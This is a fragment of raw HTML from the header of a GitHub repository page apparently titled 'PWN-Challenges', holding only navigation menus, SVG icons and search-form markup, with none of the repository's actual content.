<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="334582086" data-scoped-search-url="/vital-information-resource-under-siege/PWN-Challenges/search" data-owner-scoped-search-url="/users/vital-information-resource-under-siege/search" data-unscoped-search-url="/search" data-turbo="false" action="/vital-information-resource-under-siege/PWN-Challenges/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="xI6JMIDs7BF7OPgU/lRVTl7XScB+sXBpvBEbNs5ZMLEA5gzf/0YLWl9oWaowvH52clKjXfKdXKic5I7cbciAbA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
